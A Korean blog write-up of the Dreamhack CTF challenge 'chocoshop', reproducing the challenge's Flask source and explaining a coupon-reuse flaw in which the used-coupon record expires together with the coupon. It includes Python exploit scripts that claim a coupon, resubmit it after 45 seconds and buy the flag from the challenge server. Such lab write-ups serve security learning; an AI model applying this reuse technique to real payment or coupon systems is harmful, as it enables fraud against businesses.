Iriton's log
[Dreamhack] Lv.3 chocoshop 본문
https://dreamhack.io/wargame/challenges/106
페이지 분석
익숙한 드림핵 문제가 아니라 Dreamhack CTF Season 1 Round #3 에 출제된 문제라고 해서 페이지부터 살펴 봤다.
해당 버튼을 누르면 세션을 발급 받아서 앞으로 활동에 쓰이는 것 같다.
세션 발급 받아서 시작하면 쇼핑 페이지와 마이 페이지가 있다.
쇼핑하려고 해도 맨 오른쪽 위를 보면 돈이 없어서 BAD Request가 뜨는 걸 볼 수 있다.
근데 뒤로가기 버튼 활성화도 꺼져 있다. 왜지?
F5를 누르면 다시 홈으로 돌아갈 수 있어서 마이페이지로 가봤다.
쿠폰을 여러 번 발급받고 싶었는데 이것도 불가능해요. 내부자 말에 의하면 사용된 쿠폰을 검사하는 로직이 취약하다는데 라는 문제 Description이 생각나서 발급 받아보려고 하는데
Window 객체에서 fetch 함수를 실행하지 못했다
RequestInit 객체에서 headers 속성을 읽지 못했다
문자열에 ISO-8859-1(라틴 알파벳) 코드에 포함되지 않는 문자가 포함되어 있다
라는 경고창이 뜬다.
아 Claim 버튼을 눌러야 쿠폰 번호가 출력되고 그 쿠폰 번호로 Submit을 해야 되는 거였다.
ㅋㅋㅋㅋㅋ
아무튼 첫 쿠폰을 발급을 했고
돈이 생겼다.
아 쿠폰을 여러 번 발급 받는 걸 막아둔 것 같은데
Description에 따라서 사용된 쿠폰 검사 로직을 파악해 보자.
사용된 쿠폰이어도 재사용 가능하게 풀 수 있으려나?
코드 분석
from flask import Flask, request, jsonify, current_app, send_from_directory
import jwt
import redis
from datetime import timedelta
from time import time
from werkzeug.exceptions import default_exceptions, BadRequest, Unauthorized
from functools import wraps
from json import dumps, loads
from uuid import uuid4
r = redis.Redis()
app = Flask(__name__)
# SECRET CONSTANTS
# JWT_SECRET = 'JWT_KEY'
# FLAG = 'DH{FLAG_EXAMPLE}'
from secret import JWT_SECRET, FLAG
# PUBLIC CONSTANTS
COUPON_EXPIRATION_DELTA = 45
RATE_LIMIT_DELTA = 10
FLAG_PRICE = 2000
PEPERO_PRICE = 1500
def handle_errors(error):
return jsonify({'status': 'error', 'message': str(error)}), error.code
for de in default_exceptions:
app.register_error_handler(code_or_exception=de, f=handle_errors)
def get_session():
def decorator(function):
@wraps(function)
def wrapper(*args, **kwargs):
uuid = request.headers.get('Authorization', None)
if uuid is None:
raise BadRequest("Missing Authorization")
data = r.get(f'SESSION:{uuid}')
if data is None:
raise Unauthorized("Unauthorized")
kwargs['user'] = loads(data)
return function(*args, **kwargs)
return wrapper
return decorator
@app.route('/flag/claim')
@get_session()
def flag_claim(user):
if user['money'] < FLAG_PRICE:
raise BadRequest('Not enough money')
user['money'] -= FLAG_PRICE
return jsonify({'status': 'success', 'message': FLAG})
@app.route('/pepero/claim')
@get_session()
def pepero_claim(user):
if user['money'] < PEPERO_PRICE:
raise BadRequest('Not enough money')
user['money'] -= PEPERO_PRICE
return jsonify({'status': 'success', 'message': 'lotteria~~~~!~!~!'})
@app.route('/coupon/submit')
@get_session()
def coupon_submit(user):
coupon = request.headers.get('coupon', None)
if coupon is None:
raise BadRequest('Missing Coupon')
try:
coupon = jwt.decode(coupon, JWT_SECRET, algorithms='HS256')
except:
raise BadRequest('Invalid coupon')
if coupon['expiration'] < int(time()):
raise BadRequest('Coupon expired!')
rate_limit_key = f'RATELIMIT:{user["uuid"]}'
if r.setnx(rate_limit_key, 1):
r.expire(rate_limit_key, timedelta(seconds=RATE_LIMIT_DELTA))
else:
raise BadRequest(f"Rate limit reached!, You can submit the coupon once every {RATE_LIMIT_DELTA} seconds.")
used_coupon = f'COUPON:{coupon["uuid"]}'
if r.setnx(used_coupon, 1):
# success, we don't need to keep it after expiration time
if user['uuid'] != coupon['user']:
raise Unauthorized('You cannot submit others\' coupon!')
r.expire(used_coupon, timedelta(seconds=coupon['expiration'] - int(time())))
user['money'] += coupon['amount']
r.setex(f'SESSION:{user["uuid"]}', timedelta(minutes=10), dumps(user))
return jsonify({'status': 'success'})
else:
# double claim, fail
raise BadRequest('Your coupon is alredy submitted!')
@app.route('/coupon/claim')
@get_session()
def coupon_claim(user):
if user['coupon_claimed']:
raise BadRequest('You already claimed the coupon!')
coupon_uuid = uuid4().hex
data = {'uuid': coupon_uuid, 'user': user['uuid'], 'amount': 1000, 'expiration': int(time()) + COUPON_EXPIRATION_DELTA}
uuid = user['uuid']
user['coupon_claimed'] = True
coupon = jwt.encode(data, JWT_SECRET, algorithm='HS256').decode('utf-8')
r.setex(f'SESSION:{uuid}', timedelta(minutes=10), dumps(user))
return jsonify({'coupon': coupon})
@app.route('/session')
def make_session():
uuid = uuid4().hex
r.setex(f'SESSION:{uuid}', timedelta(minutes=10), dumps(
{'uuid': uuid, 'coupon_claimed': False, 'money': 0}))
return jsonify({'session': uuid})
@app.route('/me')
@get_session()
def me(user):
return jsonify(user)
@app.route('/')
def index():
return current_app.send_static_file('index.html')
@app.route('/images/<path:path>')
def images(path):
return send_from_directory('images', path)
주요 코드만 분석해 보자.
/coupon/claim
user 라는 딕셔너리 형태의 사용자 정보를 인자로 받고
coupon_claimed이라는 key의 value가 True라면 이미 쿠폰을 요청한 상태로 간주하고 BadRequest 예외를 발생한다.
즉 사용자 당 쿠폰 발급은 한 번만 가능하게 설계하였다.
쿠폰 정보를 담은 data 딕셔너리를 생성한다.
uuid는 쿠폰의 고유 ID, user는 사용자의 고유 ID, amount는 쿠폰 금액(1000), expiration은 쿠폰 만료 시간이다.(현재 시간에 COUPON_EXPIRATION_DELTA를 더한 값).
여기서 COUPON_EXPIRATION_DELTA은 뭔지 확인해 보니 45였다.
즉, 45초 지나면 만료된다.
여기까지 분석했을 때 아무 생각 없이 45초 안에 쿠폰을 여러 개 받아서 flag 얻는 것까지 수행하는 exploit 코드를 작성하면 안 되나? 싶어서 쿠폰 제출하는 부분을 확인해 봤다.
(이후 코드를 보면 쿠폰 정보를 JWT 형식으로 인코딩하여 사용자에게 반환 후 coupon_claimed 플래그를 True로 설정하여 재발급을 방지까지 하여 이건 사실 불가능하다.)
쿠폰 JWT를 디코딩하여 유효성을 검사한다.
쿠폰의 expiration 값이 현재 시간보다 이전이면 Coupon expired! 에러를 반환한다.
RATE_LIMIT_DELTA(10초)에 한 번만 쿠폰을 제출할 수 있도록 제한한다.
웹 로직이 취약하다 해서 코드의 문제는 없을 것이라 생각했다.
상수로 지정한 시간(이런 문제에서 굳이 상수로 지정한 건 의미가 있을 것 같아서)과 관련해서 생각해 보다가
45초 이후에 쿠폰을 재발급 받는 게 불가능 한 이유는? 쿠폰이 만료가 되어서이다.
그럼 45.1초부터인지 46초부터인지... 사람의 논리로 생각해 보면 45.1초부터 무효하겠지만 코드 단에서 생각해 보면 46초일 것이다.
if coupon[‘expiration’] < int(time()): 을 보면 확실히 알 수 있다.
초 단위로 계산을 하면 해당 조건문에 걸리지 않기 때문에
45초와 46초 사이를 노리는 것... 그러려면 코드를 짜야 한다.
리버싱 할 때 exploit 코드 짰던 거 생각하며 서버에 접근하고 엔드포인트 활용해서 쿠폰 다시 제출하고 flag 얻는 거까지
Exploit
import requests
import json
import time
BASE_URL = {서버URL}
def couponSubmit(session):
headers = {"Authorization": session}
couponClaimRequest = requests.get(BASE_URL + "/coupon/claim", headers=headers)
headers["coupon"] = json.loads(couponClaimRequest.text)["coupon"]
response = requests.get(BASE_URL + "coupon/submit", headers=headers)
print("첫 번째 쿠폰 제출:", response.text)
time.sleep(45)
response = requests.get(BASE_URL + "coupon/submit", headers=headers)
print("두 번째 쿠폰 제출:", response.text)
return(print(requests.get(BASE_URL+"/flag/claim",headers=headers).text)) #flag 구매
couponSubmit("b9e4f2b4183e4d76960517d6b57d965b")
초기 코드에는 위와 같이 세션이 페이지에 가격 옆에 보이는 값으로 하드코딩 했는데 잘 안 되길래 세션 발급도 코드에 추가했다.
대부분의 API에서는 현재 세션의 상태를 확인하기 위한 엔드포인트(/me 또는 /session과 유사한 경로)를 제공한다.
이 경우, Authorization 헤더에 세션 ID를 포함해 서버로 요청을 보내면, 서버는 해당 세션 ID를 기반으로 사용자 정보를 반환할 것이다.
-> 이를 이용해서 세션을 발급 받아 가지고 있고 이걸로 쿠폰 발급, 제출까지 해보려고 했다.
import requests
import json
import time
BASE_URL = "http://host3.dreamhack.games:12018/"
def createSession():
sessionRequest = requests.get(BASE_URL + "/session")
session = json.loads(sessionRequest.text)["session"]
headers = {"Authorization": session}
requests.get(BASE_URL + "/me", headers=headers)
return session
def couponSubmit(session):
headers = {"Authorization": session}
couponClaimRequest = requests.get(BASE_URL + "/coupon/claim", headers=headers)
headers["coupon"] = json.loads(couponClaimRequest.text)["coupon"]
response = requests.get(BASE_URL + "coupon/submit", headers=headers)
print("첫 번째 쿠폰 제출:", response.text)
time.sleep(45)
response = requests.get(BASE_URL + "coupon/submit", headers=headers)
print("두 번째 쿠폰 제출:", response.text)
return(print(requests.get(BASE_URL+"/flag/claim",headers=headers).text))
session = createSession()
couponSubmit(session)
첫 번째 쿠폰 제출과 함께 45초 쉬다가 다시 제출하면 45-46초 사이로 재제출이 가능하겠지?
'WebHacking > WarGame' 카테고리의 다른 글
[Dreamhack] Beginner: phpreg (0) | 2024.11.14 |
---|---|
[Dreamhack] Lv.3 CSP Bypass Advanced (3) | 2024.11.06 |
[Dreamhack] Lv.3 XSS Filtering Bypass Advanced (1) | 2024.10.30 |
[Dreamhack] Lv.2 blind-command (1) | 2024.09.30 |
[Dreamhack] Lv.2 web-ssrf (0) | 2024.09.25 |